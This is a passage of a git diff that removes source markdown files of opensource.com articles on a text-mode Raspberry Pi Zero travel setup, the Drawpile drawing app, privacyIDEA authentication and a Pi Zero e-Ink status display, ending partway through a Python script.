will be substituted. - -I looked at the structure of the menus as best I could and decided that trying to pick the frigging things apart was more trouble than it was worth. So, I ditched LXDE/Pixel and installed XFCE (and its even lighter-weight GUI) in its place. This time, the menu editor seemed more stable, but as I made the changes, I realized that yes, it was happening again. At that point, I had a tantrum and threw my toys out of the pram. I'd reached a crossroads in my road-warrior setup: it worked very well apart from the menus, and I felt I couldn't go back after all that work, so, with a heavy heart, I had a drastic rethink. It was supposed to be a hacker's machine, right? It was Linux and, to many like-minded people, that meant a text-based interface, right? - -So I did what I had to do: I ditched the accursed GUI! Yes, go back to the '90s, maybe even earlier, and Run it Like a Boss.™ The main problem I had in my mind was that I'd no longer have nice, safe, icon-driven apps and multiple desktops to work with. My WiFi/network switcher would be no more, and worse still, I'd have to try and manage Bluetooth from the command line. That was going to be a major challenge, but I decided to proceed anyway, and I had a cloned copy of my microSDHC just in case I lost my nerve. - -### Set it up again - -Incidentally, if I were using a full-spec Raspberry Pi 3, I wouldn't have been in this situation. But it was my choice, so… This exercise started out well. I was already rebooting into the terminal login prompt, and the Bluetooth keyboard was working, so I was able to log in (previously, I'd run **startx** to get to the desktop). Since I no longer had the desktop bloat to worry about, my memory usage was a mere 78MB and no swap usage; I felt better already. But what about the apps that make life easy? I did more hunting around, and here's what I came up with. - -Web browser - -Links2 _not_ in graphic mode: lightweight, fast, secure, works with proxies - -Email - -(Neo)Mutt: powerful, extensible and works well with GPG - -XMPP/Jabber client - -Profanity. It's great! - -VPN client - -OpenVPN - -Tor client - -Ha! Links2 again - -Music - -Midnight Commander + mpg123 - -Editor/IDE - -Nano: I'm using it to write this - -FTP/SFTP client - -Midnight Commander - -File manager - -Midnight Commander - -**Other stuff** - -Tor proxy server - -Always on, so I can use Tor as needed - -Nmap - -I sometimes need to test stuff - -vnStat - -Monitor data usage on the wlan0 interface - -SSH/SFTP server - -Standard issue on this distro - -Gopher client - -Gopherspace! It's still out there, and I use the _original_ Gopher client! - -**Graphics workarounds** - -fbcat - -Takes a screenshot using the framebuffer device - -fbi - -Linux framebuffer imageviewer: displays images in a terminal - -fbgs - -Displays PostScript/PDF files using the Linux framebuffer device on a terminal - -pnmtopng - -Converts a PPM into a PNG file - -You'll notice that there's not too much change there, with a few notable exceptions to display graphical content. - -### Do it again, and do it properly - -Things looked good, but I still had some issues to solve. - -#### Desktops - -"But what about the multiple desktops?!" I hear you asking, "How will you view images or connect to WiFi networks?" I needed to find a solution, and fast. For the multiple desktop thing, I decided to install tmux, the Linux Terminal Multiplexer. There are so many good reasons to run tmux on a Linux system, but my key reasons are that it makes multi-screen working possible, and it uses very little memory. It also enables me to connect to the Pi via SSH and take over the session, as you can see below. - -![tmux running on Raspberry Pi][7] - -#### Music - -I must say that it's very important to me to be able to listen to music while I'm working or relaxing, so the loss of (S)MPlayer was a major blow. I was able to listen to single MP3s or complete playlists. I was able to stream internet radio. Sigh. Midnight Commander came to the rescue with its ability to handle various file types. The secret is in the Extension File menu, which looks like this for me: - - -``` -shell/i/.mp3 -    Open=/usr/lib/mc/ext.d/sound.sh open mp3 -regex/i/\\.(m3u|pls)$ -        Open=/usr/lib/mc/ext.d/sound.sh open playlist -``` - -And my sound.sh looks like this: - - -``` -#!/bin/bash -do_open_action() { -    filetype=$1 -    case "${filetype}" in -    playlist) -        mpg123 -C -@ "${MC_EXT_FILENAME}" -        ;; -    m3u) -        mpg123 -C -@ "${MC_EXT_FILENAME}" -        ;; -    mp3) -        mpg123 -C "${MC_EXT_FILENAME}" -        ;; -    *) -        ;; -    esac -        } -case "${action}" in -open) -    ("${MC_XDG_OPEN}" "${MC_EXT_FILENAME}" >/dev/null 2>&1) || \ -        do_open_action "${filetype}" -    ;; -*) -    ;; -esac -``` - -Tapping Enter on an MP3 will play the file, or tapping on an M3U playlist will play whatever's in the playlist. I used the **-C** option so that I could have access to mpg123's controls. Sorted! - -#### SFTP/FTP clients - -Midnight Commander again! You can set up a client connection entry with the built-in menu and use **CTL+\** to select it from a drop-down. The FTP site is rendered in one of the panels as a directory structure, and you can just treat it as you would a local filesystem. SFTP is a bit harder, as you have to set it up as an SSH connection and then copy as required; it's OK if you have password authentication, but for public key authentication, I found it less involved to use SFTP from the command line. For reference, this is the syntax: - - -``` -sftp://[user@]machine:[port]/[remote-dir] - -The user, port and remote-dir elements are optional. -``` - -![MC FTP client example][8] - -#### WiFi selector - -In the GUI world, I had had a nice, icon-based WiFi network manager app that I could use to switch between networks. The text-mode alternative is the bizarrely named wicd-curses*.* It's an app that communicates with wicd (wireless control daemon) using cursor keys, and it works very well. I had to disable the dhcpcd service using systemctl to get it to work, but at least it lets me select the appropriate network, including my home network or my phone's wireless hotspot when I'm out on the road. Here's [how to do it][9]. - -![wicd-curses WiFi app][10] - -#### Email and web browsing - -For email and web browsing, I use Mutt (Neomutt) and Links2, respectively, and they just work. - -#### Gopher - -Trust me; you're not old enough to remember Gopher, the text mode forerunner of the WWW. Strictly speaking, it was before my time as well, but I run a thriving Gopher server, so I need a client. Here's what a Gopher server looks like running on a Raspberry Pi. - - -``` -                gopher://gopher.petergarner.net:70 - -__/\\\\\\\\\\\\\\\\\\_______/\\\\\\\\\\\\\\\\\\\\\\\\\\__________________/\\\\\\____ -_/\\\\\///////\\\\\\____\/\\\\\/////////\\\\\\______________/\\\\\\\\\\____ -_\/\\\\\\_____\/\\\\\\___\/\\\\\\_______\/\\\\\\__/\\\\\\_______/\\\\\/\\\\\\____ -_\/\\\\\\\\\\\\\\\\\\\\\/____\/\\\\\\\\\\\\\\\\\\\\\\\\\/___\///______/\\\\\/\/\\\\\\____ -_\/\\\\\//////\\\\\\____\/\\\\\/////////_____/\\\\\\_____/\\\\\/__\/\\\\\\____ -_\/\\\\\\____\//\\\\\\___\/\\\\\\_____________\/\\\\\\____/\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\_ -_\/\\\\\\_____\//\\\\\\__\/\\\\\\_____________\/\\\\\\\\__///////////\\\\\//__ -_\/\\\\\\______\//\\\\\\_\/\\\\\\_____________\/\\\\\\_______________\/\\\\\\___ -_\///________\///__\///______________\///_________________\///___ - -               Welcome to... "The Rpi4 Gopher" -               ... your source for local information, and beyond! - - -->  [14] About this server (and legal)/ - -           -- Content - -      [18] Tech-related/ -      [19] Politics and Propaganda (from all sides)/ -      [20] Cyber and Internet related/ -      [21] Stuff (filed under "miscellany")/ -..... -``` - -### Performance - -Overall, I'm pleased to say that my switch to text mode has been very beneficial with userland tasks handled responsively. As you can see from a typical **top** display, there's plenty of available and cached memory remaining from the original 512MB. Right now, I'm listening to a playlist, writing this article in an SSH-connected tmux session, running top**,** and Mutt is handling emails. - -On a regular basis, that's all I'll probably need to do, but it's great to have the option to develop and test software on the go, if I need to. Here's a simple Python script to get the Pi's CPU serial number (type): - - -``` ->>> #!/usr/bin/env python -... ->>> import subprocess ->>> ->>> def GetCPUserial(): -...     cpuinfo = subprocess.check_output(["/bin/cat", "/proc/cpuinfo"]) -...     cpuinfo = cpuinfo.replace("\t","") -...     cpuinfo = cpuinfo.split("\n") -...     [ legend, cpuserial ] = cpuinfo[11].split(' ') -...     return cpuserial -... ->>> print GetCPUserial() -9000c1 ->>> - -[/code] [code] - -top - 15:55:47 up  5:49,  6 users,  load average: 0.21, 0.25, 0.34 -Tasks: 112 total,   1 running, 110 sleeping,   1 stopped,   0 zombie -%Cpu(s): 3.9 us, 5.8 sy, 0.0 ni, 90.3 id, 0.0 wa, 0.0 hi, 0.0 si,   - -KiB Mem :   493252 total, 37984 free,  73248 used, 382020 buff/cache -KiB Swap:   102396 total, 102392 free,     4 used. 367336 avail Mem -``` - -I take regular backups, of course, using the indispensable [rpi-clone][11]. The beauty of this app is that I can copy the entire microSDHC card to another while the Pi is running. It also has the advantage that if I use a smaller capacity card, it will automatically and safely take this into account. I use a 32GB card, but I can dump it to an 8GB card because I'm only using about 4GB. The converse is true for a larger destination card. If you add only one utility to your Pi, this should be it—it's saved me more grief than _anything_ I've ever used! You can also use it to create distribution copies of your system. - -#### Battery life - -I can only describe the battery life as "impressive." Once the Zero is booted up, it takes an average 0.15A / 0.65W with the following running: - - * System - * Bluetooth - * WiFi - * Audio (HDMI) subsystem - * Video (HDMI) subsystem - - - -I've measured 20 hours of mixed usage from my 6000mAh Jackery Jetpack power bank, and if I disable WiFi and just use it in "local" mode, possibly more. It's certainly practical to use it with my smaller, 3300mAh Anker battery, which unfortunately isn't rechargeable while in use. I also have a 20,000mAh battery for long trips: I have yet to try that out. - -### Taking it on the road - -In terms of computing as a challenge, setting up the Zero has been a really valuable exercise. It's taught me to become acquainted with the operating system and app software at a low level in order to squeeze the maximum amount of memory from the system. It's also taught me that I don't have to invest large amounts of money to build a relatively powerful system that can be taken on the road and used productively. - -Now that I've almost finished setting it up, it's time to actually _take_ it on the road and see how it runs in the field. Hey, maybe I'll actually take into a field and see if I can do some work and listen to music. - -* * * - -_This was originally published on [Peter Garner's blog][12] under a CC BY-NC-ND 4.0 license and is reused here with the author's permission._ - -Having recently co-authored a book about building things with the Raspberry Pi ( Raspberry Pi Hacks... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/raspberry-pi-zero - -作者:[Peter Garner][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/petergarner -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/plane_travel_world_international.png?itok=jG3sYPty (Airplane flying with a globe background) -[2]: https://opensource.com/resources/raspberry-pi -[3]: https://www.petergarner.net/projects/Mac_Mini_to_rpi-part_1.pdf -[4]: https://en.wikipedia.org/wiki/Next_Unit_of_Computing -[5]: http://threatbrief.com/evil-maid-attack/ -[6]: https://opensource.com/sites/default/files/uploads/pi-zero-on-the-road.jpg (Pi Zero W setup) -[7]: https://opensource.com/sites/default/files/uploads/tmux-on-pi.png (tmux running on Raspberry Pi) -[8]: https://opensource.com/sites/default/files/uploads/ftp-client-mc.png (MC FTP client example) -[9]: https://www.raspberrypi.org/forums/viewtopic.php?t=150124#p987430 -[10]: https://opensource.com/sites/default/files/uploads/wifi-selector.png (wicd-curses WiFi app) -[11]: https://github.com/billw2/rpi-clone -[12]: https://petergarner.net/notes/index.php?thisnote=20180202-Travels%20with%20a%20Pi diff --git a/sources/tech/20200313 How to whiteboard collaboratively with Drawpile.md b/sources/tech/20200313 How to whiteboard collaboratively with Drawpile.md deleted file mode 100644 index dba4bce1f8..0000000000 --- a/sources/tech/20200313 How to whiteboard collaboratively with Drawpile.md +++ /dev/null @@ -1,118 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to whiteboard collaboratively with Drawpile) -[#]: via: (https://opensource.com/article/20/3/drawpile) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -How to whiteboard collaboratively with Drawpile -====== -Need to whiteboard or draw something with others? Give Drawpile a try. -![markers for a whiteboard][1] - -Thanks to applications like [Krita][2] and [MyPaint][3], open source software users have all the tools they need to create stunning digital paintings. They are so good that you can see [art created with Krita][4] in some of your [favorite RPG books][5]. And it's getting better all the time; for example, [GIMP][6] 2.10 adopted MyPaint's brush engine, so users can benefit from MyPaint without even installing the whole application. - -But what about collaborative illustration? What do two or more artists do when they want to work together on one piece? What does your work team use when you need to whiteboard during a business meeting? Those are the questions, and the answer is [Drawpile][7]. - -![Drawpile's UI][8] - -Nyarlathotep by Sophia Eberhard - -Drawpile is a drawing application for Linux, Windows, and macOS. It's got a respectable brush engine and all the basic editorial tools (selection tools, flips and flops, mirror, and so on) to make it a good freehand digital paint application. But its most powerful feature is its easy multi-user mode. If you have Drawpile installed, you can host a drawing session from your computer or on a Drawpile server, allowing other users to join you in your virtual studio. This goes well beyond a screen-share session, which would just allow other users to _view_ your painting, and it's not a remote desktop with just one cursor. Drawpile enables several users, each with their own brush, to work on the same canvas at the same time over a network that can span the globe. - -### Installing Drawpile - -If you're using Linux, Drawpile is available as a [Flatpak][9] from [Flathub.org][10]. - -On Windows and macOS, download and install Drawpile from [Drawpile's download page][11]. When you first launch it on macOS, you must right-click on its icon and select **Open** to accept that it hasn't been signed by a registered Apple developer. - -### Drawing with Drawpile - -The Drawpile interface is simple and minimal. Along the right side of the application window are docked palettes, and along the top is a toolbar. Most of the tools available to you are visible: paint brushes, paint buckets, lines, Bézier curves, and so on. - -For quick access to brushes, Drawpile allows you to assign a unique brush, along with all of its settings (including color), to the number keys **1** through **5** on your keyboard. It's an efficient and easy way to quickly move between drawing tools. The **6** key holds an eraser. - -Drawpile also has layers, so you can keep different parts of your painting separate until you combine them for your final render. If you're an animator, you can even use Drawpile's onion skin and flipbook features (both available in the **Layer** menu) to do rudimentary frame-by-frame animation. Unlike Krita, Drawpile doesn't feature an [animation timeline][12], but it's enough for quick and fun animations. - -### Custom brushes - -Drawpile isn't Krita or MyPaint, so its brush engine is simple in comparison. The preset brushes have the usual properties, though, including: - - * **Opacity** adjusts how your strokes blend with existing paint - * **Hardness** defines the edges of your stroke - * **Smudging** allows existing strokes to be affected by your brush - * **Color pickup** allows your paint to pick up color from existing strokes - * **Spacing** controls how often the full brush cursor is sampled during a stroke - - - -Most of these are pressure-sensitive, so if you're using a drawing tablet (Wacom, for instance), then your brush strokes are dynamic depending upon pen pressure. The tablet support is borrowed from Krita, and it makes a big difference (although it's probably overkill for mock-ups or whiteboarding sessions). - -When you find a brush setting you like, you can add it to your brush set so you can use it again later. To add a brush, click the **Menu** button in the top-right corner of the docked **Brushes** palette and select **Add brush**. - -![Adding a brush in Drawpile][13] - -If the **Brushes** palette isn't visible, go to the **View** menu in the top menu bar and select **Brushes** from the **Docks** submenu. - -### Collaborative drawing - -To participate in a shared drawing session, go to the **Session** menu and click either **Host** to host a session or **Join** to join in on an existing one. - -#### Hosting a session - -If you're hosting a session, give your session a title and an optional password (or leave it blank to allow anyone in). In the **Server** section, set whether you're hosting the session from your computer or from someone else's server. You can host sessions on **pub.drawpile.net** for free, but all of your data will be sent out to the internet, which could affect performance. If you have a good internet connection, the lag is negligible, but if you're not confident in your internet speed or there's no reason to go out to the internet because your collaborators are in the same building as you, then you can host your session locally. - -![Settings for hosting a session][14] - -If you host locally, you must provide your IP address or computer name (ending in **.local**) to your collaborators so their Drawpile apps can find your computer. You can find your computer name in the **Sharing** preferences of the GNOME desktop if you're on Linux: - -![Sharing Drawpile in GNOME][15] - -You must enable Remote Login, and possibly adjust your [firewall settings][16] to allow other users to get through. - -On macOS and Windows, you may be running a firewall, and you may need to provide additional sharing permissions in your control panel or system settings. - -#### Joining a session - -If you're joining a session, you need to know either the URL or the IP address of the session you're trying to join. A URL is like a website address, such as syntheticdreams.net/listing. An IP address is the numerical version of a URL, such as 93.184.216.34. Some IP addresses are internal to your building, while others exist out on the internet. If you haven't been invited to a drawing session, you might be able to find a public group on Drawpile's [Communities][17] page. - -### Drawing with friends - -Open source has always been about sharing. Drawpile is not only software you can share with your friends and colleagues; it's software that allows you to work with them in a fun and creative way. Try Drawpile for your next project or boardroom meeting! - -Nick Hamilton talks about what he loves about the open source digital painting tool, Krita, prior... - -Akkana Peck shares three of her favorite GIMP tools. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/drawpile - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/markers_whiteboard_draw.png?itok=hp6v1gHC (markers for a whiteboard) -[2]: https://krita.org/en/ -[3]: http://mypaint.org -[4]: https://krita.org/en/item/interview-with-alexandru-sabo/ -[5]: https://paizo.com/products/btpy9g9x?Pathfinder-Roleplaying-Game-Bestiary-5 -[6]: https://www.gimp.org/ -[7]: https://drawpile.net -[8]: https://opensource.com/sites/default/files/uploads/drawpile-ui.jpg (Drawpile's UI) -[9]: https://opensource.com/article/19/10/how-build-flatpak-packaging -[10]: https://flathub.org/apps/details/net.drawpile.drawpile -[11]: https://drawpile.net/download/ -[12]: https://opensource.com/life/16/10/animation-krita -[13]: https://opensource.com/sites/default/files/uploads/drawpile-brush-add.jpg (Adding a brush in Drawpile) -[14]: https://opensource.com/sites/default/files/uploads/drawpile-session-host.png (Settings for hosting a session) -[15]: https://opensource.com/sites/default/files/uploads/gnome-sharing.png (Sharing Drawpile in GNOME) -[16]: https://opensource.com/article/19/7/make-linux-stronger-firewalls -[17]: https://drawpile.net/communities diff --git a/sources/tech/20200313 Open source alternative for multi-factor authentication- privacyIDEA.md b/sources/tech/20200313 Open source alternative for multi-factor authentication- privacyIDEA.md deleted file mode 100644 index 382aa368e5..0000000000 --- a/sources/tech/20200313 Open source alternative for multi-factor authentication- privacyIDEA.md +++ /dev/null @@ -1,85 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Open source alternative for multi-factor authentication: privacyIDEA) -[#]: via: (https://opensource.com/article/20/3/open-source-multi-factor-authentication) -[#]: author: (Cornelius Kölbel https://opensource.com/users/cornelius-k%C3%B6lbel) - -Open source alternative for multi-factor authentication: privacyIDEA -====== -As technology changes, so too will our need to adapt our authentication -mechanisms. -![Three closed doors][1] - -Two-factor authentication, or multi-factor authentication, is not a topic only for nerds anymore. Many services on the internet provide it, and many end-users demand it. While the average end-user might only realize that his preferred web site either offers MFA or it does not, there is more to it behind the scene. - -The two-factor market is changing, and changing rapidly. New authentication methods arise, classical vendors are merging, and products have disappeared. - -The end-user might not be bothered at all, but organizations and companies who want to require multi-factor authentication for their users may wonder where to turn to and which horse to bet on. - -Companies like Secure Computing, Aladdin, SafeNet, Cryptocard, Gemalto, and Thales have been providing authentication solutions for organizations for some decades and have been involved in a round dance of [mergers and acquisitions][2] during the last ten years. And the user was the one who suffered. While the IT department thought it was rolling out a reliable software of a successful vendor, a few years later, they were confronted with the product being end-of-life. - -### How the cloud changes things - -In 1986, RSA released RSA SecurID, a physical hardware token displaying magic numbers based on an unknown, proprietary algorithm. But, almost 20 years later, thanks to the Open Authentication Initiative, HOTP (RFC4226) and TOTP (RFC6238) were specified—originally for OTP hardware tokens. - -SMS Passcode, which specialized in authenticating by sending text messages, was founded in 2005; no hardware token required. While other on-premises solutions kept the authentication server and the enrollment in a confined environment, with SMS Passcode, the authentication information (a secret text message) was transported via the mobile network to the user. - -The iPhone 1 was released in 2007, and the Android phone quickly followed. DUO Security was founded in 2009 as a specific cloud MFA provider, with the smartphone acting as a second factor. Both vendors concentrated on a new second factor—the phone with a text message or the smartphone with an app—and they offered and used infrastructure that was not part of the company's network anymore. - -Classical on-premises vendors started to move to the cloud, either by offering their new services or acquiring smaller vendors with cloud solutions, such as SafeNet's [acquisition of Cryptocard in 2012][3]. It seemed tempting for classical vendors to offer cloud services—no software updates on-premises, no support cases, unlimited scaling, and unlimited revenue. - -Even the old top dog, RSA, now offers a "Cloud Authentication Service." And doesn't it make sense to put authentication services in the cloud? The data is hosted at cloud services like Azure, the identities are hosted in the cloud at Azure AD, so why not put authentication there with Azure MFA? This approach might make sense for companies with a complete cloud-centric approach, but it also probably locks you into one specific vendor. - -Cloud seems a big topic also for multi-factor authentication. But what if you want to stay on-prem? - -### The state of multi-factor authentication technology - -Multi-factor authentication has also come a long way since 1986, when RSA introduced its first OTP tokens. A few decades ago, well-paid consultants made a living by rolling PKI concepts, since smartcard authentication needed a working certificate infrastructure. - -After having OTP keyfob tokens and smartphones with HOTP and TOTP apps and even push notification, the current state-of-the-art authentication seems to be FIDO2/WebAuthn. While U2F was specified by the FIDO Alliance alone, WebAuthn was specified by no one else than W3C, and the good news is, the base requirements have been integrated into all browsers except Internet Explorer. - -However, applications still need to add a lot of code when supporting Webauthn. But WebAuthn allows for new authentication devices like TPM chips in tablets, computers, and smartphones or cheap and small hardware devices. But U2F also looked good back then, and even it did not make the breakthrough. Will WebAuthn do it? - -So these are challenging times since currently, you probably cannot use WebAuthn, but in two years, you'll probably want to. Thus, you need a system that allows you to adapt your authentication mechanisms. - -### Getting actual requirements - -This is one of the first requirements when you are about to choose a flexible multi-factor authentication solution. It will not work out to solely rely on text messages, or on one single smartphone app or only WebAuthn tokens. The smartphone app may vanish; the WebAuthn devices might not be applicable in all situations. - -When looking at the mergers and acquisitions, we learned that it did happen and can happen again; that the software goes end-of-life, or the vendors cease their cloud services. And sometimes it is only the last few months that hurt, when the end of sales means that you cannot buy any new user licenses or onboard any new users! To get a lasting solution, you need to be independent on cloud services and vendor decisions. The safest way to do so is to go for an open source solution. - -But when going for an open source solution, you want to get a reliable system, reliable meaning that you can be sure to get updates that do not break and that bugs will be fixed, and there are people to be asked. - -### An open source alternative: privacyIDEA - -Concentrated experiences in the two-factor market since 2004 have been incorporated into the open source software alternative: [privacyIDEA][4]. - -privacyIDEA is an open source solution providing a wide variety of different authentication technologies. It started with HOTP and TOTP tokens, but it also supports SMS, email, push notifications, SSH keys, X.509 certificates, Yubikeys, Nitrokeys, U2F, and a lot more. Currently, the support for WebAuthn is added. - -The modular structure of the token types (being Python classes) allows new types to be added quickly, making it the most flexible in regards to authentication methods. It runs on-premises at a central location in your network. This way, you stay flexible, have control over your network, and keep pace with the latest developments. - -privacyIDEA comes with a mighty and flexible policy framework that allows you to adapt privacyIDEA to your needs. The unique event handler modules enable you to fit privacyIDEA into your existing workflows or create new workflows that work the best for your scenario. It is also plays nice with the others and integrates with identity and authentication solutions like FreeRADIUS, simpleSAMLphp, Keycloak, or Shibboleth. This flexibility may be the reason organizations like the World Wide Web Consortium and companies like Axiad are using privacyIDEA. - -privacyIDEA is developed [on GitHub][5] and backed by a Germany-based company providing services and support worldwide. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/3/open-source-multi-factor-authentication - -作者:[Cornelius Kölbel][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cornelius-k%C3%B6lbel -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/EDU_UnspokenBlockers_1110_A.png?itok=x8A9mqVA (Three closed doors) -[2]: https://netknights.it/en/consolidation-of-the-market-and-migrations/ -[3]: https://www.infosecurity-magazine.com/news/safenet-acquires-cryptocard/ -[4]: https://privacyidea.org -[5]: https://github.com/privacyidea/privacyidea diff --git a/sources/tech/20200314 Adding a display to a travel-ready Raspberry Pi Zero.md b/sources/tech/20200314 Adding a display to a travel-ready Raspberry Pi Zero.md deleted file mode 100644 index f8dcb26208..0000000000 --- a/sources/tech/20200314 Adding a display to a travel-ready Raspberry Pi Zero.md +++ /dev/null @@ -1,281 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Adding a display to a travel-ready Raspberry Pi Zero) -[#]: via: (https://opensource.com/article/20/3/pi-zero-display) -[#]: author: (Peter Garner https://opensource.com/users/petergarner) - -Adding a display to a travel-ready Raspberry Pi Zero -====== -A small eInk display turns a Raspberry Pi into a self-contained, -pocket-sized travel computer. -![Pi Zero][1] - -In my earlier article, I explained how I [transformed a Raspberry Pi Zero][2] into a minimal, portable, go-anywhere computer system that, although small, can actually achieve useful things. I've since made iterations that have proved interesting and made the little Pi even more useful. Read on to learn what I've done. - -### After the road trip - -My initial Pi Zero setup [proved its worth][3] on a road trip to Whitby, but afterward, it was largely consigned to the "pending" shelf, waiting for another assignment. It was powered up weekly to apply updates, but other than that, it was idle. Then one day, as I was flicking through emails from various Pi suppliers, I came across a (slightly) reduced e-Ink display offer: hmmm… and there was a version for the Pi Zero as well. What could I do with one? - -ModMyPi was selling a rather neat [display and driver board combination][4] and a [small case][5] with a transparent window on top. I read the usual reviews, and apart from one comment about the _boards being a very tight fit_, it sounded positive. I ordered it, and it turned up a few days later. I had noted from the product description that the display board didn't have GPIO headers installed, so I ordered a Pi Zero WH (wireless + headers pre-installed) to save me the bother of soldering one on. - -### Some assembly required - -As with most of these things, some self-assembly was required, so I carefully opened the boxes and laid out the parts on the desk. The case was nicely made apart from ridiculous slots for a watch strap (?!) and some strange holes in the side to allow tiny fingers to press the five I/O buttons on the display. "_Could I get a top without holes?"_ I inquired on the review page. "_No."_ Okay then. - -With the case unpacked, it was time to open the display box. A nicely designed board was first out, and there were clear instructions on the Pi-Supply website. The display was so thin (0.95mm) that I nearly threw it out with the bubble wrap. - -The first job was to mount the display board on the Pi Zero. I checked to make sure I could attach the display cable to the driver board when it was joined to the Pi and decided that, with my sausage fingers, I'd attach the display first and leave it flapping in the breeze while I attached the driver board to the Pi. I carefully got the boards lined up on the GPIO pins, and, with those in place, I folded over the display "screen" to sit on top of the board. With the piggy-backed boards in place, I then _verrrry_ carefully shoe-horned the assembly into place in the case. Tight fit? Yeah, you're not kidding, but I got it all safely in place and snapped the top on, and nothing appeared to be broken. Phew! - -### How to set up your display - -I'm going to skip a chunk of messing about here and refer you to the maker's [instructions][6] instead. Suffice to say that after a few installs, reboots, and coffees, I managed to get a working e-Ink display! Now all I had to do was figure out what to do with it. - -One of the main challenges of working with a small device like [my "TravelPi"][2] is that you don't have access to as much screen real estate as you would on a larger machine. I like the size and power of the device though, so it's really a compromise as to what you get out of it. For example, there's a single screen accessible via the HDMI port, and I've used tmux to split that into four separate, usable panes. If I really need to view something else urgently, I could always **Ctrl+Z** into another prompt and do the necessary configs, but that's messy. - -I wanted to see various settings and maybe look at some system settings, and the e-Ink display enabled me to do all that! As you can see from the image below, I ended up with a very usable info panel that is updated by a simple(-ish) Python script (**qv**) either manually or by a crontab entry every 10 minutes. The manufacturer states that the update frequency should be "no more than 1Hz if you want your display to last for a long time." Ten minutes is fine, thank you. - -Here's what I wanted to be able to see at a glance: - -Hostname | And device serial number ----|--- -IP address | Current internal IP address -VPN status | Inactive/country/IP address -Tor status | Inactive/IP address -"Usage" | Percentage disk space and memory used -Uptime | So satisfying to see those long uptimes - -And here it is: a display that's the same size as the Pi Zero and 1" deep. - -![PiZero Display][7] - -### How to populate the display - -Now I needed to populate the display. As seems to be the norm these days, the e-Ink support software is in Python, which, of course, is installed as standard with most Linux distros. _Disclaimer:_ Python is not my first (dev) language, but the code below works for me. It'll probably work for you, too. - - -``` -#!/usr/bin/env python - -import os -import sys -import time -import datetime -import socket -import netifaces as ni -import psutil -import subprocess - -from netifaces import AF_INET, AF_INET6, AF_LINK, AF_PACKET -from papirus import PapirusText, PapirusTextPos, Papirus -from subprocess import check_output -from datetime import timedelta - -rot     = 0 -screen  = Papirus(rotation = rot) -fbold   = '/usr/share/fonts/truetype/dejavu/DejaVuSansMono-Bold.ttf' -fnorm   = '/usr/share/fonts/truetype/dejavu/DejaVuSansMono.ttf' -text    = PapirusTextPos(rotation = rot) - -def GetBootTime(): -        return datetime.datetime.fromtimestamp(psutil.boot_time()) - -def GetUptime(): -     with open('/proc/uptime','r') as f: -       uptime_seconds = float(f.readline().split()[0]) -     u = str(timedelta(seconds = uptime_seconds)) -     duration,junk = u.split(".") -     hr,mi,sc = duration.split(":") -     return "%sh %sm %ss" % ( hr,mi,sc ) - -def getHostname(): -        hostname = socket.gethostname() -        return hostname - -def getWiFiIPaddress(): -        try: -                ni.interfaces() -                [ 'wlan0', ] -                return ni.ifaddresses('wlan0')[AF_INET][0]['addr'] -        except: -                return 'inactive' - -def getVPNIPaddress(): -        try: -                ni.interfaces() -                [ 'tun0', ] -                return ni.ifaddresses('tun0')[AF_INET][0]['addr'] -        except: -                return 'inactive' - -def GetTmuxEnv(): -        if 'TMUX_PANE' in os.environ: -                return ' (t)' -        return ' ' - -def GetCPUserial(): -        cpuinfo = subprocess.check_output(["/bin/cat", "/proc/cpuinfo"]) -        cpuinfo = cpuinfo.replace("\t","") -        cpuinfo = cpuinfo.split("\n") -        [ legend, cpuserial ] = cpuinfo[12].split(' ') -        cpuserial = cpuserial.lstrip("0") -        return cpuserial - -def GetMemUsed(): -        memUsed = psutil.virtual_memory()[2] -        return memUsed - -def GetDiskUsed(): -        diskUsed = psutil.disk_usage('/')[3] -        return diskUsed - -def CheckTor(): -        try: -                TS = "active: pid %s" %check_output(['pidof','tor'])    -        except: -                TS = 'inactive' -        return TS       - -def CheckVPN(): -        return VPNlo -# --------------------------------------------------------------------------- -def main(): -        pass - -if __name__ == '__main__': -        main() - -VPNlo = 'inactive' - -if (len(sys.argv) == 2): -        try: -                VPNlo = sys.argv[1] -        except: -                VPNlo = 'inactive' - -text = PapirusTextPos(False,rotation=rot) -text.AddText("%s %s %s"% (getHostname(),GetCPUserial(),GetTmuxEnv()),x=1,y=0,size=12,invert=True,fontPath=fbold) -text.AddText("IP  %s" % getWiFiIPaddress(),x=1,y=16,size=12,fontPath=fnorm) -if ( getVPNIPaddress() == 'inactive' ): -        text.AddText("VPN %s" % CheckVPN(),x=1,y=30,size=12,fontPath=fnorm) -else: -        text.AddText("VPN %s" % getVPNIPaddress(),x=1,y=30,size=12,fontPath=fnorm) -text.AddText("TOR %s" % CheckTor(),x=1,y=44,size=12,fontPath=fnorm) -text.AddText("MEM %s% DISK %s% used" % 